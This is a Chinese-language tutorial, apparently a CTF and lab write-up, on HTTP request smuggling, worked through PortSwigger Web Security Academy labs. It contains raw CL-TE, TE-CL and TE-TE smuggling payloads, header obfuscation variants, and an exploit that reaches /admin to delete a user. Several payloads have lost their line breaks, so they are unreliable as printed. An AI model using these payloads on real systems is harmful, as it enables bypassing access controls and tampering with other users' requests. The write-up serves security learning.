CTF题型 Http请求走私总结Burp靶场例题

本文主要是介绍CTF题型 Http请求走私总结Burp靶场例题，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

CTF题型 Http请求走私总结&靶场例题

HTTP请求走私

HTTP请求走私漏洞原理分析

为什么用前端服务器

keep-alive 与 pipeline

为了缓解源站的压力，一般会在用户和后端服务器（源站）之间加设前置服务器，用以缓存、简单校验、负载均衡等，而前置服务器与后端服务器往往是在可靠的网络域中，ip 也是相对固定的，所以可以重用 TCP 连接来减少频繁 TCP 握手带来的开销。这里就用到了 HTTP1.1 中的 Keep-Alive 和 Pipeline 特性：

所谓 Keep-Alive，就是在 HTTP 请求中增加一个特殊的请求头 Connection: Keep-Alive，告诉服务器，接收完这次 HTTP 请求后，不要关闭 TCP 链接，后面对相同目标服务器的 HTTP 请求，重用这一个 TCP 链接，这样只需要进行一次 TCP 握手的过程，可以减少服务器的开销，节约资源，还能加快访问速度。这个特性在 HTTP1.1 中是默认开启的。

有了 Keep-Alive 之后，后续就有了 Pipeline，在这里呢，客户端可以像流水线一样发送自己的 HTTP 请求，而不需要等待服务器的响应，服务器那边接收到请求后，需要遵循先入先出机制，将请求和响应严格对应起来，再将响应发送给客户端。现如今，浏览器默认是不启用 Pipeline 的，但是一般的服务器都提供了对 Pipleline 的支持。

漏洞原理

请求走私本质上是利用不同服务器对请求长度头部（Content-Length）解析时产生的差异。

重点在于 前后端服务器对 HTTP数据包有不同的解析差异

最典型的就是 Http数据包被前端服务器解析后 传递 给后端服务器，但是后端服务器仅仅解析一部分Http数据包，剩下的Http请求被 “缓存” 下来，那么我们称这留下来的一部分为走私请求，对接下来 正常用户的请求造成影响

攻击一定是前端可以解析全部，后端解析部分，造成 “缓存”

界定标准

CL 和 TE 即是 Content-Length 和 Transfer-Encoding 请求头

1. CL-TE：前置服务器认为 Content-Length 优先级更高（或者根本就不支持 Transfer-Encoding ） ，后端认为 Transfer-Encoding 优先级更高

2. TE-CL：前置服务器认为 Transfer-Encoding 优先级更高，后端认为 Content-Length 优先级更高（或者不支持 Transfer-Encoding ）

3. TE-TE：前置和后端服务器都支持 Transfer-Encoding，但可以通过混淆让它们在处理时产生分歧

   设置了 Transfer-Encoding: chunked 后，请求主体按一系列块的形式发送，并将省略 Content-Length。在每个块的开头需要用十六进制数指明当前块的长度，数值后接 \r\n（占 2 字节），然后是块的内容，再接 \r\n 表示此块结束。最后用长度为 0 的块表示终止块。终止块后是一个 trailer，由 0 或多个实体头组成，可以用来存放对数据的数字签名等。

界定长度

1. Content-Length 需要将请求主体中的 \r\n 所占的 2 字节计算在内，而块长度要忽略块内容末尾表示终止的 \r\n

2. 请求头与请求主体之间有一个空行，是规范要求的结构，并不计入 Content-Length

   换行 前不看CL，后不看TE

重要!!!实验环境前提

关闭burp自动 更新Content-Length

可以用Notepad++计算长度 换行转换为 Windows (CR LF) 算两个字符便于快速计算长度

必须自己改HTTP/1.1 在Inspector中改 http协议

POST数据包结构必要结构

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
[我是换行]
[我是数据]

一个正常的POST数据包必须有

快速判断Http请求走私类型

以下实验环境网站

CL-TE https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-cl-te-via-differential-responses

TE-CL https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-te-cl-via-differential-responses

时间延迟

要首先验证CL.TE，排除后再验证TE.CL，否则产生其他影响。

CL-TE

可以自己改HTTP/1.1 在Inspector中改 http协议

POST / HTTP/1.1
Host: 0ad7007204b6b7768010cb76004500db.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked1
A

前端服务器 content-type传递了 1/r/nA [4个字符]

后端服务器 等待 0 作为结束块，进行等待，到超时

TE-CL

POST / HTTP/1.1
Host: 0afe00dc041f4f9881dca4760096003d.web-security-academy.net
Content-Length: 0
Transfer-Encoding: chunked0

后端服务器等待 Content-lenth长度，发生等待

练习例题

CL-TE 例题

前置服务器认为 Content-Length 优先级更高（或者根本就不支持 Transfer-Encoding ） ，后端认为 Transfer-Encoding 优先级更高。

https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

可以轻易判断有6个字符

POST / HTTP/1.1
Host: 0acf000004b5d9a08101483000920008.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked0G

0G

被传递给后端 后端读到0终止

G 被缓存下来

后续请求造成HTTP请求走私

TE-CL例题

TE-CL：前置服务器认为 Transfer-Encoding 优先级更高，后端认为 Content-Length 优先级更高（或者不支持 Transfer-Encoding ）。

https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl

如果我们仿照CL-TE的构造思路

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked1
G
0

前端TE带入

1
G
0

后端CL解析

1
G

是不行的，不可避免带入 0 给后端服务器 （有G必有0）

官方给出的思路

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15x=1
0

这里的5c是如何来的？

有92的字符转换为16进制就是5C

这里的第二个Content-Length为什么是15？

没看懂官方的意思

加了两个换号

如何计算都得不到15… 还是记下来以后解决

整体分析

GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15x=1
0
[换行]
[换行]

这一部分被"缓存"下来 实现HTTP请求走私

TE-TE例题

TE-TE：前置和后端服务器都支持 Transfer-Encoding，但可以通过混淆让它们在处理时产生分歧，其实也就是变成了 CL-TE 或 TE-CL

https://portswigger.net/web-security/request-smuggling/lab-obfuscating-te-header

PortSwigger 给出了一些可用于混淆的 payload：

Transfer-Encoding: xchunkedTransfer-Encoding[空格]: chunkedTransfer-Encoding: chunked
Transfer-Encoding: xTransfer-Encoding:[tab]chunked[空格]Transfer-Encoding: chunkedX: X[\n]Transfer-Encoding: chunkedTransfer-Encoding
: chunked

前置和后端服务器可能对 TE 这个不规范的请求头的处理产生分歧

官方payload 通过加入混淆代码Transfer-encoding: cow 变为TE-CL类型

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15x=1
0
[换行]
[换行]

实现HTTP请求走私攻击

漏洞利用实例

利用HTTP请求走私绕过前端安全控制TE.CL漏洞

TE-CL型

https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl

前端限制直接访问/admin 被拒绝

构造payload

POST / HTTP/1.1
Host: 0a11006c03a914cf806e94a200f50054.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15x=1
0
[换行]
[换行]

HTTP走私内容添加 Host: localhost

添加后payload（注意改16进制的数值）

GET / HTTP/1.1
Host: 0a11006c03a914cf806e94a200f50054.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked71
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15x=1
0
[换行]
[换行]

返回

尝试直接点击，被禁止，多半前端服务器又做了安全限制

GET / HTTP/1.1
Host: 0a11006c03a914cf806e94a200f50054.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked88
POST /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15x=1
0
[换行]
[换行]

可以删除成功

这篇关于CTF题型 Http请求走私总结Burp靶场例题的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！

---